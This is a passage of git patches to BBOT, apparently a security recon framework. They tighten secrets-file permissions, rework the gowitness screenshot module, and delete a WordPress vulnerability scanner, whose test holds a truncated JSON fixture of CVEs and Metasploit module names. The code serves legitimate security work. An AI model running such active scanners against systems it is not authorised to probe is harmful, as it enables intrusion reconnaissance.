_stale_labels(MODULE_LOADER) == set() + # secrets.yml is owner-only from the start + assert stat.S_IMODE(secrets_file.stat().st_mode) == 0o600 + + # only bbot.yml goes stale -> detection flags only "config" + config_file.write_text("# bbot-config-hash: deadbeef\n# scope:\n# strict: false\n") + assert _stale_labels(MODULE_LOADER) == {"config"} + # a pre-stamp (2.x) file (no header stamp) is also stale config_file.write_text("# NOTICE\n# scope:\n# strict: false\n") assert MODULE_LOADER._read_config_hash(config_file) is None - assert MODULE_LOADER.config_is_stale() is True - # a changed option set -> stale - config_file.write_text("# bbot-config-hash: deadbeef\n# scope:\n# strict: false\n") - assert MODULE_LOADER.config_is_stale() is True - - # reset: backs up existing files, regenerates, restamps - backups = MODULE_LOADER.reset_config_files() - assert set(backups) == {tmp_path / "bbot.yml.bak", tmp_path / "secrets.yml.bak"} - assert MODULE_LOADER._read_config_hash(config_file) == current - assert MODULE_LOADER.config_is_stale() is False + assert _stale_labels(MODULE_LOADER) == {"config"} + + # resetting "config" must not touch secrets.yml (where API keys live) + secrets_before = secrets_file.read_text() + backups = MODULE_LOADER.reset_config_files(["config"]) + assert set(backups) == {tmp_path / "bbot.yml.bak"} + assert secrets_file.read_text() == secrets_before + assert _stale_labels(MODULE_LOADER) == set() + + # a backup of a hardened secrets.yml keeps its tightened permissions + secrets_file.chmod(0o400) + backups = MODULE_LOADER.reset_config_files(["secrets"]) + assert set(backups) == {tmp_path / "secrets.yml.bak"} + assert stat.S_IMODE((tmp_path / "secrets.yml.bak").stat().st_mode) == 0o400 + # the regenerated secrets.yml is still owner-only + assert stat.S_IMODE(secrets_file.stat().st_mode) & 0o077 == 0 # a second reset must not clobber the first backup - backups2 = MODULE_LOADER.reset_config_files() - assert set(backups2) == {tmp_path / "bbot.yml.bak.1", tmp_path / "secrets.yml.bak.1"} - assert (tmp_path / "bbot.yml.bak").is_file() + backups2 = MODULE_LOADER.reset_config_files(["secrets"]) + assert set(backups2) == {tmp_path / "secrets.yml.bak.1"} + assert (tmp_path / "secrets.yml.bak").is_file() def test_config_schema_hash_is_structural(): @@ -1515,3 +1534,70 @@ def test_config_schema_hash_is_structural(): assert MODULE_LOADER._config_schema_hash(base) != MODULE_LOADER._config_schema_hash( {"web": {"http_timeout_target": 10}, "scope": {"strict": False}} ) + + +def test_config_reset_both_and_independent_detection(tmp_path, monkeypatch): + from bbot.core import CORE + from bbot.core.modules import MODULE_LOADER + + files = CORE.files_config + monkeypatch.setattr(files, "config_dir", tmp_path) + monkeypatch.setattr(files, "config_filename", tmp_path / "bbot.yml") + monkeypatch.setattr(files, "secrets_filename", tmp_path / "secrets.yml") + config_file = tmp_path / "bbot.yml" + secrets_file = tmp_path / "secrets.yml" + + MODULE_LOADER.ensure_config_files() + assert _stale_labels(MODULE_LOADER) == set() + + # only secrets.yml goes stale -> detection flags only "secrets" + secrets_file.write_text("# bbot-config-hash: deadbeef\n# interactsh_token:\n") + assert _stale_labels(MODULE_LOADER) == {"secrets"} + + # break both -> both reported + config_file.write_text("# bbot-config-hash: deadbeef\n# scope:\n") + assert _stale_labels(MODULE_LOADER) == {"config", "secrets"} + + # reset both at once + backups = MODULE_LOADER.reset_config_files(["config", "secrets"]) + assert {b.name for b in backups} == {"bbot.yml.bak", "secrets.yml.bak"} + assert _stale_labels(MODULE_LOADER) == set() + + +def test_config_secret_file_permissions(tmp_path): + from bbot.core.modules import MODULE_LOADER + + target = tmp_path / "secrets.yml" + + # a brand-new secret file is owner-only, never world/group readable + MODULE_LOADER._write_secret_text(target, "secret a") + assert stat.S_IMODE(target.stat().st_mode) == 0o600 + assert target.read_text() == "secret a" + + # the user hardened it further -> rewrite preserves the tighter perms + target.chmod(0o400) + MODULE_LOADER._write_secret_text(target, "secret b") + assert stat.S_IMODE(target.stat().st_mode) == 0o400 + assert target.read_text() == "secret b" + + # an existing file with loose perms -> tightened back to owner-only + target.chmod(0o644) + MODULE_LOADER._write_secret_text(target, "secret c") + assert stat.S_IMODE(target.stat().st_mode) == 0o600 + assert target.read_text() == "secret c" + + +def test_config_secret_file_refuses_insecure(tmp_path, monkeypatch): + from bbot.core.modules import MODULE_LOADER + from bbot.errors import BBOTError + + target = tmp_path / "secrets.yml" + + # simulate a filesystem where we can't restrict permissions: the secret is + # not written, and no temp file is left behind + real_fchmod = os.fchmod + monkeypatch.setattr(os, "fchmod", lambda fd, mode: real_fchmod(fd, 0o644)) + with pytest.raises(BBOTError, match="could not restrict permissions"): + MODULE_LOADER._write_secret_text(target, "secret stuff") + assert not target.exists() + assert list(tmp_path.glob(".secrets.yml.*")) == [] From 6003211988a9494231eaebc1ecc6dcef66df284a Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 24 Jun 2026 14:16:11 -0400 Subject: [PATCH 895/912] gowitness: use ephemeral per-batch database Each batch writes to a throwaway SQLite database in the scan temp dir that is deleted once its events are emitted, instead of accumulating in one shared database for the whole scan. Keeps memory flat on large scans (the shared network_logs table grew unbounded and was re-read in full every batch, causing OOM). Reads now tolerate a missing schema, which happens when chrome fails to launch and gowitness exits before creating its tables -- previously that raised "no such table: results" on every affected batch. Removes the persistent database, the report-server gallery hint, and the per-scan binary copy. --- bbot/modules/gowitness.py | 206 ++++++++++++++++---------------------- 1 file changed, 85 insertions(+), 121 deletions(-) diff --git a/bbot/modules/gowitness.py b/bbot/modules/gowitness.py index 3d10b36102..3a548fc856 100644 --- a/bbot/modules/gowitness.py +++ b/bbot/modules/gowitness.py @@ -5,8 +5,6 @@ import multiprocessing import platform from pathlib import Path -from contextlib import suppress -from shutil import copyfile, copymode from bbot.modules.base import BaseModule from bbot.core.config.models import BaseModuleConfig, Field @@ -112,24 +110,11 @@ async def setup(self): if chrome_devel_sandbox.is_file(): os.environ["CHROME_DEVEL_SANDBOX"] = str(chrome_devel_sandbox) - self.db_path = self.base_path / "gowitness.sqlite3" self.screenshot_path = self.base_path / "screenshots" - self.command = self.construct_command() - self.prepped = False - self.screenshots_taken = {} - self.connections_logged = set() - self.technologies_found = set() + self.helpers.mkdir(self.screenshot_path) + self.screenshot_count = 0 return True - def prep(self): - if not self.prepped: - self.helpers.mkdir(self.screenshot_path) - self.db_path.touch() - with suppress(Exception): - copyfile(self.helpers.tools_dir / "gowitness", self.base_path / "gowitness") - copymode(self.helpers.tools_dir / "gowitness", self.base_path / "gowitness") - self.prepped = True - async def filter_event(self, event): # Ignore URLs that are redirects if any(t.startswith("status-30") for t in event.tags): @@ -172,94 +157,126 @@ def _resolve_parent(self, db_url): return parent async def handle_batch(self, *events): - self.prep() + # Each batch gets its own throwaway database. Nothing is persisted once the + # batch's events are emitted, which keeps memory flat regardless of scan size + # (gowitness's network_logs table grows enormous on large scans otherwise). + db_path = self.scan.temp_dir / f"gowitness_{self.helpers.rand_string()}.sqlite3" self._event_dict = {} self._event_dict_loose = {} stdin_urls = [] for e in events: - url = e.url or e.data - if e.type == "SOCIAL": - url = e.url + url = e.url if e.type == "SOCIAL" else (e.url or e.data) stdin_urls.append(url) self._event_dict[url] = e - loose_key = self._url_key(self.helpers.urlparse(url)) - self._event_dict_loose.setdefault(loose_key, e) + self._event_dict_loose.setdefault(self._url_key(self.helpers.urlparse(url)), e) stdin = "\n".join(stdin_urls) try: - async for line in self.run_process_live(self.command, input=stdin, idle_timeout=self.idle_timeout): - self.debug(line) - except asyncio.exceptions.TimeoutError: - urls_str = ",".join(self._event_dict) - self.warning(f"Gowitness timed out while visiting the following URLs: {urls_str}", trace=False) - return + try: + async for line in self.run_process_live( + self.construct_command(db_path), input=stdin, idle_timeout=self.idle_timeout + ): + self.debug(line) + except asyncio.exceptions.TimeoutError: + urls_str = ",".join(self._event_dict) + self.warning(f"Gowitness timed out while visiting the following URLs: {urls_str}", trace=False) + return + + await self.emit_results(db_path) + finally: + # discard the batch database; the screenshots themselves live on disk + db_path.unlink(missing_ok=True) - # emit web screenshots - new_screenshots = await self.get_new_screenshots() - for filename, screenshot in new_screenshots.items(): - raw_url = screenshot["url"] - final_url = screenshot["final_url"] - filename = self.screenshot_path / screenshot["filename"] + async def emit_results(self, db_path): + # gowitness result_id -> the URL it visited, used to attribute child rows back to their page + result_urls = {} + + # screenshots + async for row in self._read_rows(db_path, "SELECT * FROM results"): + raw_url = row["url"] + result_urls[row["id"]] = raw_url + final_url = row["final_url"] + filename = self.screenshot_path / row["filename"] filename = filename.relative_to(self.scan.home) # NOTE: this prevents long filenames from causing problems in BBOT, but gowitness will still fail to save it. filename = self.helpers.truncate_filename(filename) - webscreenshot_data = {"path": str(filename), "url": final_url} parent_event = self._resolve_parent(raw_url) if parent_event is None: self.warning(f"Could not correlate screenshot to parent event for URL: {raw_url}") continue await self.emit_event( - webscreenshot_data, + {"path": str(filename), "url": final_url}, "WEBSCREENSHOT", parent=parent_event, context=f"{{module}} visited {final_url} and saved {{event.type}} to {filename}", ) + self.screenshot_count += 1 - # emit URLs - new_network_logs = await self.get_new_network_logs() - for url, row in new_network_logs.items(): - ip = row["remote_ip"] - status_code = row["status_code"] - tags = [f"status-{status_code}", "spider-danger"] - - _id = row["result_id"] - raw_parent_url = self.screenshots_taken[_id] + # network logs -> URLs (one event per unique URL within the batch) + seen_urls = set() + async for row in self._read_rows(db_path, "SELECT * FROM network_logs"): + url = row["url"] + if not (url and url.startswith("http")) or url in seen_urls: + continue + seen_urls.add(url) + raw_parent_url = result_urls.get(row["result_id"]) + if raw_parent_url is None: + continue parent_event = self._resolve_parent(raw_parent_url) if parent_event is None: self.warning(f"Could not correlate network log to parent event for URL: {raw_parent_url}") continue - if url and url.startswith("http"): - url_event = self.make_event( - url, - "URL_UNVERIFIED", - parent=parent_event, - tags=tags, - context=f"{{module}} visited {{event.type}}: {url}", - ) - if url_event and ip: - url_event.resolved_hosts = (sys.intern(ip),) - await self.emit_event(url_event) + ip = row["remote_ip"] + url_event = self.make_event( + url, + "URL_UNVERIFIED", + parent=parent_event, + tags=[f"status-{row['status_code']}", "spider-danger"], + context=f"{{module}} visited {{event.type}}: {url}", + ) + if url_event and ip: + url_event.resolved_hosts = (sys.intern(ip),) + await self.emit_event(url_event) - # emit technologies - new_technologies = await self.get_new_technologies() - for row in new_technologies.values(): - parent_id = row["result_id"] - raw_parent_url = self.screenshots_taken[parent_id] + # technologies + async for row in self._read_rows(db_path, "SELECT * FROM technologies"): + raw_parent_url = result_urls.get(row["result_id"]) + if raw_parent_url is None: + continue parent_event = self._resolve_parent(raw_parent_url) if parent_event is None: self.warning(f"Could not correlate technology to parent event for URL: {raw_parent_url}") continue technology = row["value"] parent_url = self.helpers.clean_url(raw_parent_url).geturl() - tech_data = {"technology": technology, "url": parent_url, "host": str(parent_event.host)} await self.emit_event( - tech_data, + {"technology": technology, "url": parent_url, "host": str(parent_event.host)}, "TECHNOLOGY", parent=parent_event, context=f"{{module}} visited {parent_url} and found {{event.type}}: {technology}", ) - def construct_command(self): + async def _read_rows(self, db_path, query): + """Yield rows from a batch's gowitness database, tolerating a missing schema. + + When chrome fails to launch, gowitness exits before creating its tables, + leaving an empty database. Treat that as zero rows instead of raising. + """ + if not db_path.is_file(): + return + async with aiosqlite.connect(str(db_path)) as con: + con.row_factory = aiosqlite.Row + con.text_factory = self.helpers.smart_decode + try: + cur = await con.execute(query) + except aiosqlite.OperationalError as e: + self.debug(f"No gowitness results in {db_path.name} ({e})") + return + async with cur: + async for row in cur: + yield dict(row) + + def construct_command(self, db_path): # base executable command = ["gowitness", "scan"] # chrome path @@ -267,7 +284,7 @@ def construct_command(self): command += ["--chrome-path", str(self.chrome_path)] # db path command += ["--write-db"] - command += ["--write-db-uri", f"sqlite://{self.db_path}"] + command += ["--write-db-uri", f"sqlite://{db_path}"] # screenshot path command += ["--screenshot-path", str(self.screenshot_path)] # user agent @@ -286,61 +303,8 @@ def construct_command(self): command += ["file", "-f", "-"] return command - async def get_new_screenshots(self): - screenshots = {} - if self.db_path.is_file(): - async with aiosqlite.connect(str(self.db_path)) as con: - con.row_factory = aiosqlite.Row - con.text_factory = self.helpers.smart_decode - async with con.execute("SELECT * FROM results") as cur: - async for row in cur: - row = dict(row) - _id = row["id"] - if _id not in self.screenshots_taken: - self.screenshots_taken[_id] = row["url"] - screenshots[_id] = row - return screenshots - - async def get_new_network_logs(self): - network_logs = {} - if self.db_path.is_file(): - async with aiosqlite.connect(str(self.db_path)) as con: - con.row_factory = aiosqlite.Row - async with con.execute("SELECT * FROM network_logs") as cur: - async for row in cur: - row = dict(row) - url = row["url"] - if url not in self.connections_logged: - self.connections_logged.add(url) - network_logs[url] = row - return network_logs - - async def get_new_technologies(self): - technologies = {} - if self.db_path.is_file(): - async with aiosqlite.connect(str(self.db_path)) as con: - con.row_factory = aiosqlite.Row - async with con.execute("SELECT * FROM technologies") as cur: - async for row in cur: - _id = row["id"] - if _id not in self.technologies_found: - self.technologies_found.add(_id) - row = dict(row) - technologies[_id] = row - return technologies - - async def cur_execute(self, cur, query): - try: - return await cur.execute(query) - except aiosqlite.OperationalError as e: - self.warning(f"Error executing query: {query}: {e}") - return [] - async def report(self): - if self.screenshots_taken: - self.success(f"{len(self.screenshots_taken):,} web screenshots captured. To view:") - self.success(" - Start gowitness") - self.success(f" - cd {self.base_path} && ./gowitness report server") - self.success(" - Browse to http://localhost:7171") + if self.screenshot_count: + self.success(f"{self.screenshot_count:,} web screenshots captured. Saved to: {self.screenshot_path}") else: self.info("No web screenshots captured") From 76fe1be7bed458ac6d2bb0b489b9d80bd0181bcc Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 24 Jun 2026 15:24:47 -0400 Subject: [PATCH 896/912] Remove wpscan module Heavy Ruby/compiler install footprint (yajl-ruby needs gcc/make/ruby-dev), a pinned old activesupport that breaks on transitive gem drift (concurrent-ruby 1.3.5), stuck on an old wpscan line by wpscan 4.x's Ruby >=3.3 requirement, crashes instead of degrading when wpscan fails, and a test that stubbed out the binary so none of it was ever caught. Docs regeneration handled separately. --- bbot/modules/wpscan.py | 297 ----- .../module_tests/test_module_wpscan.py | 1082 ----------------- 2 files changed, 1379 deletions(-) delete mode 100644 bbot/modules/wpscan.py delete mode 100644 bbot/test/test_step_2/module_tests/test_module_wpscan.py diff --git a/bbot/modules/wpscan.py b/bbot/modules/wpscan.py deleted file mode 100644 index 8005a6e3e3..0000000000 --- a/bbot/modules/wpscan.py +++ /dev/null @@ -1,297 +0,0 @@ -import json -from bbot.modules.base import BaseModule -from bbot.core.config.models import BaseModuleConfig, Field - - -class wpscan(BaseModule): - watched_events = ["HTTP_RESPONSE", "TECHNOLOGY"] - produced_events = ["URL_UNVERIFIED", "FINDING", "TECHNOLOGY"] - flags = ["active", "loud"] - meta = { - "description": "Wordpress security scanner. Highly recommended to use an API key for better results.", - "created_date": "2024-05-29", - "author": "@domwhewell-sage", - } - - class Config(BaseModuleConfig): - api_key: str | list[str] = Field("", description="WPScan API Key", sensitive=True) - enumerate: str = Field( - "vp,vt,cb,dbe", description="Enumeration Process see wpscan help documentation (default: vp,vt,cb,dbe)" - ) - threads: int = Field(5, description="How many wpscan threads to spawn (default is 5)") - request_timeout: int = Field(5, description="The request timeout in seconds (default 5)") - connection_timeout: int = Field(2, description="The connection timeout in seconds (default 2)") - disable_tls_checks: bool = Field( - True, description="Disables the SSL/TLS certificate verification (Default True)" - ) - force: bool = Field(False, description="Do not check if the target is running WordPress or returns a 403") - - deps_apt = ["curl", "make", "gcc"] - deps_ansible = [ - { - "name": "Install Ruby Deps (Debian)", - "package": {"name": ["ruby-rubygems", "ruby-dev"], "state": "present"}, - "become": True, - "when": "ansible_facts['os_family'] == 'Debian'", - }, - { - "name": "Install Ruby Deps (Arch)", - "package": {"name": ["rubygems"], "state": "present"}, - "become": True, - "when": "ansible_facts['os_family'] == 'Archlinux'", - }, - { - "name": "Install Ruby Deps (Fedora)", - "package": {"name": ["rubygems", "ruby-devel"], "state": "present"}, - "become": True, - "when": "ansible_facts['os_family'] == 'RedHat'", - }, - { - "name": "Install Ruby Deps (Alpine)", - "package": {"name": ["ruby-dev", "ruby-bundler"], "state": "present"}, - "become": True, - "when": "ansible_facts['os_family'] == 'Alpine'", - }, - { - "name": "Install wpscan gem", - # Pin to 3.8.28 (requires Ruby >= 3.0). wpscan 4.0.0 requires Ruby >= 3.3, - # which is newer than the Ruby shipped by Ubuntu 24.04 (3.2.3) and the bbot - # CI runners. Bump this when the runners ship Ruby 3.3+. - "gem": {"name": "wpscan", "version": "3.8.28", "user_install": False}, - "become": True, - }, - ] - - async def setup(self): - self.processed = set() - self.ignore_events = ["xmlrpc", "readme"] - self.api_key = self.config.get("api_key", "") - self.enumerate = self.config.get("enumerate", "vp,vt,cb,dbe") - self.proxy = self.scan.web_config.get("http_proxy", "") - self.threads = self.config.get("threads", 5) - self.request_timeout = self.config.get("request_timeout", 5) - self.connection_timeout = self.config.get("connection_timeout", 2) - self.disable_tls_checks = self.config.get("disable_tls_checks", True) - self.force = self.config.get("force", False) - return True - - async def filter_event(self, event): - host_hash = hash(event.host) - if host_hash in self.processed: - return False, "Host has already been processed" - if event.type == "HTTP_RESPONSE": - is_redirect = str(event.data["status_code"]).startswith("30") - if is_redirect: - return False, "URL is a redirect" - elif event.type == "TECHNOLOGY": - if not event.data["technology"].lower().startswith("wordpress"): - return False, "technology is not wordpress" - self.processed.add(host_hash) - return True - - async def handle_event(self, event): - if event.type == "HTTP_RESPONSE": - await self.handle_http_response(event) - elif event.type == "TECHNOLOGY": - await self.handle_technology(event) - - async def handle_http_response(self, source_event): - url = source_event.parsed_url._replace(path="/").geturl() - command = self.construct_command(url) - output = await self.run_process(command) - for new_event in self.parse_wpscan_output(output.stdout, url, source_event): - await self.emit_event(new_event) - - async def handle_technology(self, source_event): - url = self.get_base_url(source_event) - command = self.construct_command(url) - output = await self.run_process(command) - for new_event in self.parse_wpscan_output(output.stdout, url, source_event): - await self.emit_event(new_event) - - def construct_command(self, url): - # base executable - command = ["wpscan", "--url", url] - # proxy - if self.proxy: - command += ["--proxy", str(self.proxy)] - # user agent - command += ["--user-agent", f"'{self.scan.useragent}'"] - # threads - command += ["--max-threads", str(self.threads)] - # request timeout - command += ["--request-timeout", str(self.request_timeout)] - # connection timeout - command += ["--connect-timeout", str(self.connection_timeout)] - # api key - if self.api_key: - command += ["--api-token", f"{self.api_key}"] - # enumerate - command += ["--enumerate", self.enumerate] - # disable tls checks - if self.disable_tls_checks: - command += ["--disable-tls-checks"] - # force - if self.force: - command += ["--force"] - # output format - command += ["--format", "json"] - return command - - def parse_wpscan_output(self, output, base_url, source_event): - json_output = json.loads(output) - interesting_json = json_output.get("interesting_findings", {}) or {} - version_json = json_output.get("version", {}) or {} - theme_json = json_output.get("main_theme", {}) or {} - plugins_json = json_output.get("plugins", {}) or {} - if interesting_json: - yield from self.parse_wp_misc(interesting_json, base_url, source_event) - if version_json: - yield from self.parse_wp_version(version_json, base_url, source_event) - if theme_json: - yield from self.parse_wp_themes(theme_json, base_url, source_event) - if plugins_json: - yield from self.parse_wp_plugins(plugins_json, base_url, source_event) - - def parse_wp_misc(self, interesting_json, base_url, source_event): - for finding in interesting_json: - url = finding.get("url", base_url) - type = finding["type"] - if type in self.ignore_events: - continue - description_string = finding["to_s"] - interesting_entries = finding["interesting_entries"] - if type == "headers": - for header in interesting_entries: - yield self.make_event( - {"technology": str(header).lower(), "url": url, "host": str(source_event.host)}, - "TECHNOLOGY", - source_event, - ) - else: - url_event = self.make_event(url, "URL_UNVERIFIED", parent=source_event, tags=["blasthttp-safe"]) - if url_event: - yield url_event - yield self.make_event( - { - "description": description_string, - "url": url, - "host": str(source_event.host), - "name": "WPScan - Possible Vulnerability", - "severity": "INFO", - "confidence": "MEDIUM", - }, - "FINDING", - source_event, - ) - - def parse_wp_version(self, version_json, url, source_event): - version = version_json.get("number", "") - if version: - technology = f"wordpress {version}" - else: - technology = "wordpress detect" - yield self.make_event( - {"technology": str(technology).lower(), "url": url, "host": str(source_event.host)}, - "TECHNOLOGY", - source_event, - ) - for wp_vuln in version_json.get("vulnerabilities", []): - yield self.make_event( - { - "severity": "HIGH", - "confidence": "MEDIUM", - "host": str(source_event.host), - "url": url, - "description": self.vulnerability_to_s(wp_vuln), - "name": "WPScan - Possible Vulnerability", - }, - "FINDING", - source_event, - ) - - def parse_wp_themes(self, theme_json, url, source_event): - name = theme_json.get("slug", "") - version = theme_json.get("version", {}).get("number", "") - if name: - if version: - technology = f"{name} v{version}" - else: - technology = name - yield self.make_event( - {"technology": str(technology).lower(), "url": url, "host": str(source_event.host)}, - "TECHNOLOGY", - source_event, - ) - for theme_vuln in theme_json.get("vulnerabilities", []): - yield self.make_event( - { - "severity": "HIGH", - "confidence": "MEDIUM", - "host": str(source_event.host), - "url": url, - "description": self.vulnerability_to_s(theme_vuln), - "name": "WPScan - Possible Vulnerability", - }, - "FINDING", - source_event, - ) - - def parse_wp_plugins(self, plugins_json, base_url, source_event): - for name, plugin in plugins_json.items(): - url = plugin.get("location", base_url) - if url != base_url: - url_event = self.make_event(url, "URL_UNVERIFIED", parent=source_event, tags=["blasthttp-safe"]) - if url_event: - yield url_event - version = plugin.get("version", {}).get("number", "") - if version: - technology = f"{name} {version}" - else: - technology = name - yield self.make_event( - {"technology": str(technology).lower(), "url": url, "host": str(source_event.host)}, - "TECHNOLOGY", - source_event, - ) - for vuln in plugin.get("vulnerabilities", []): - yield self.make_event( - { - "severity": "HIGH", - "confidence": "MEDIUM", - "host": str(source_event.host), - "url": url, - "description": self.vulnerability_to_s(vuln), - "name": "WPScan - Possible Vulnerability", - }, - "FINDING", - source_event, - ) - - def vulnerability_to_s(self, vuln_json): - string = [] - title = vuln_json.get("title", "") - string.append(f"Title: {title}") - fixed_in = vuln_json.get("fixed_in", "") - string.append(f"Fixed in: {fixed_in}") - references = vuln_json.get("references", {}) - if references: - cves = references.get("cve", []) - urls = references.get("url", []) - youtube_urls = references.get("youtube", []) - cves_list = [] - for cve in cves: - cves_list.append(f"CVE-{cve}") - if cves_list: - string.append(f"CVEs: [{', '.join(cves_list)}]") - if urls: - string.append(f"References: [{', '.join(urls)}]") - if youtube_urls: - string.append(f"Youtube Links: [{', '.join(youtube_urls)}]") - return " ".join(string) - - def get_base_url(self, event): - base_url = event.url - if not base_url: - base_url = f"https://{event.host}" - return self.helpers.urlparse(base_url)._replace(path="/").geturl() diff --git a/bbot/test/test_step_2/module_tests/test_module_wpscan.py b/bbot/test/test_step_2/module_tests/test_module_wpscan.py deleted file mode 100644 index 8627023e2a..0000000000 --- a/bbot/test/test_step_2/module_tests/test_module_wpscan.py +++ /dev/null @@ -1,1082 +0,0 @@ -from subprocess import CompletedProcess -from .base import ModuleTestBase - - -class Testwpscan(ModuleTestBase): - targets = ["http://127.0.0.1:8888"] - modules_overrides = ["http", "wpscan"] - - wpscan_output_json = """{ - "banner": { - "description": "WordPress Security Scanner by the WPScan Team", - "version": "3.8.25", - "authors": [ - "@_WPScan_", - "@ethicalhack3r", - "@erwan_lr", - "@firefart" - ], - "sponsor": "Sponsored by Automattic - https://automattic.com/" - }, - "start_time": 1717183319, - "start_memory": 49950720, - "target_url": "http://127.0.0.1:8888/", - "target_ip": "172.29.64.1", - "effective_url": "http://127.0.0.1:8888/", - "interesting_findings": [ - { - "url": "http://127.0.0.1:8888/", - "to_s": "Headers", - "type": "headers", - "found_by": "Headers (Passive Detection)", - "confidence": 100, - "confirmed_by": { - - }, - "references": { - - }, - "interesting_entries": [ - "Server: Apache/2.4.38 (Debian)", - "X-Powered-By: PHP/7.1.33" - ] - }, - { - "url": "http://127.0.0.1:8888/xmlrpc.php", - "to_s": "XML-RPC seems to be enabled: http://127.0.0.1:8888/xmlrpc.php", - "type": "xmlrpc", - "found_by": "Direct Access (Aggressive Detection)", - "confidence": 100, - "confirmed_by": { - - }, - "references": { - "url": [ - "http://codex.wordpress.org/XML-RPC_Pingback_API" - ], - "metasploit": [ - "auxiliary/scanner/http/wordpress_ghost_scanner", - "auxiliary/dos/http/wordpress_xmlrpc_dos", - "auxiliary/scanner/http/wordpress_xmlrpc_login", - "auxiliary/scanner/http/wordpress_pingback_access" - ] - }, - "interesting_entries": [ - - ] - }, - { - "url": "http://127.0.0.1:8888/readme.html", - "to_s": "WordPress readme found: http://127.0.0.1:8888/readme.html", - "type": "readme", - "found_by": "Direct Access (Aggressive Detection)", - "confidence": 100, - "confirmed_by": { - - }, - "references": { - - }, - "interesting_entries": [ - "/wp-admin/", - "/wp-admin/admin-ajax.php", - " " - ] - }, - { - "url": "http://127.0.0.1:8888/wp-cron.php", - "to_s": "The external WP-Cron seems to be enabled: http://127.0.0.1:8888/wp-cron.php", - "type": "wp_cron", - "found_by": "Direct Access (Aggressive Detection)", - "confidence": 60, - "confirmed_by": { - - }, - "references": { - "url": [ - "https://www.iplocation.net/defend-wordpress-from-ddos", - "https://github.com/wpscanteam/wpscan/issues/1299" - ] - }, - "interesting_entries": [ - - ] - } - ], - "version": { - "number": "5.3", - "release_date": "2019-11-12", - "status": "insecure", - "found_by": "Emoji Settings (Passive Detection)", - "confidence": 100, - "interesting_entries": [ - "http://127.0.0.1:8888/, Match: 'wp-includes\\/js\\/wp-emoji-release.min.js?ver=5.3'" - ], - "confirmed_by": { - "Meta Generator (Passive Detection)": { - "confidence": 60, - "interesting_entries": [ - "http://127.0.0.1:8888/, Match: 'WordPress 5.3'" - ] - } - }, - "vulnerabilities": [ - { - "title": "WordPress <= 5.3 - Authenticated Improper Access Controls in REST API", - "fixed_in": "5.3.1", - "references": { - "cve": [ - "2019-20043", - "2019-16788" - ], - "url": [ - "https://wordpress.org/news/2019/12/wordpress-5-3-1-security-and-maintenance-release/", - "https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-g7rg-hchx-c2gw" - ], - "wpvulndb": [ - "4a6de154-5fbd-4c80-acd3-8902ee431bd8" - ] - } - }, - { - "title": "WordPress <= 5.3 - Authenticated Stored XSS via Crafted Links", - "fixed_in": "5.3.1", - "references": { - "cve": [ - "2019-20042" - ], - "url": [ - "https://wordpress.org/news/2019/12/wordpress-5-3-1-security-and-maintenance-release/", - "https://hackerone.com/reports/509930", - "https://github.com/WordPress/wordpress-develop/commit/1f7f3f1f59567e2504f0fbebd51ccf004b3ccb1d", - "https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-xvg2-m2f4-83m7" - ], - "wpvulndb": [ - "23553517-34e3-40a9-a406-f3ffbe9dd265" - ] - } - }, - { - "title": "WordPress <= 5.3 - Authenticated Stored XSS via Block Editor Content", - "fixed_in": "5.3.1", - "references": { - "cve": [ - "2019-16781", - "2019-16780" - ], - "url": [ - "https://wordpress.org/news/2019/12/wordpress-5-3-1-security-and-maintenance-release/", - "https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-pg4x-64rh-3c9v" - ], - "wpvulndb": [ - "be794159-4486-4ae1-a5cc-5c190e5ddf5f" - ] - } - }, - { - "title": "WordPress <= 5.3 - wp_kses_bad_protocol() Colon Bypass", - "fixed_in": "5.3.1", - "references": { - "cve": [ - "2019-20041" - ], - "url": [ - "https://wordpress.org/news/2019/12/wordpress-5-3-1-security-and-maintenance-release/", - "https://github.com/WordPress/wordpress-develop/commit/b1975463dd995da19bb40d3fa0786498717e3c53" - ], - "wpvulndb": [ - "8fac612b-95d2-477a-a7d6-e5ec0bb9ca52" - ] - } - }, - { - "title": "WordPress < 5.4.1 - Password Reset Tokens Failed to Be Properly Invalidated", - "fixed_in": "5.3.3", - "references": { - "cve": [ - "2020-11027" - ], - "url": [ - "https://wordpress.org/news/2020/04/wordpress-5-4-1/", - "https://core.trac.wordpress.org/changeset/47634/", - "https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/", - "https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-ww7v-jg8c-q6jw" - ], - "wpvulndb": [ - "7db191c0-d112-4f08-a419-a1cd81928c4e" - ] - } - }, - { - "title": "WordPress < 5.4.1 - Unauthenticated Users View Private Posts", - "fixed_in": "5.3.3", - "references": { - "cve": [ - "2020-11028" - ], - "url": [ - "https://wordpress.org/news/2020/04/wordpress-5-4-1/", - "https://core.trac.wordpress.org/changeset/47635/", - "https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/", - "https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-xhx9-759f-6p2w" - ], - "wpvulndb": [ - "d1e1ba25-98c9-4ae7-8027-9632fb825a56" - ] - } - }, - { - "title": "WordPress < 5.4.1 - Authenticated Cross-Site Scripting (XSS) in Customizer", - "fixed_in": "5.3.3", - "references": { - "cve": [ - "2020-11025" - ], - "url": [ - "https://wordpress.org/news/2020/04/wordpress-5-4-1/", - "https://core.trac.wordpress.org/changeset/47633/", - "https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/", - "https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-4mhg-j6fx-5g3c" - ], - "wpvulndb": [ - "4eee26bd-a27e-4509-a3a5-8019dd48e429" - ] - } - }, - { - "title": "WordPress < 5.4.1 - Authenticated Cross-Site Scripting (XSS) in Search Block", - "fixed_in": "5.3.3", - "references": { - "cve": [ - "2020-11030" - ], - "url": [ - "https://wordpress.org/news/2020/04/wordpress-5-4-1/", - "https://core.trac.wordpress.org/changeset/47636/", - "https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/", - "https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-vccm-6gmc-qhjh" - ], - "wpvulndb": [ - "e4bda91b-067d-45e4-a8be-672ccf8b1a06" - ] - } - }, - { - "title": 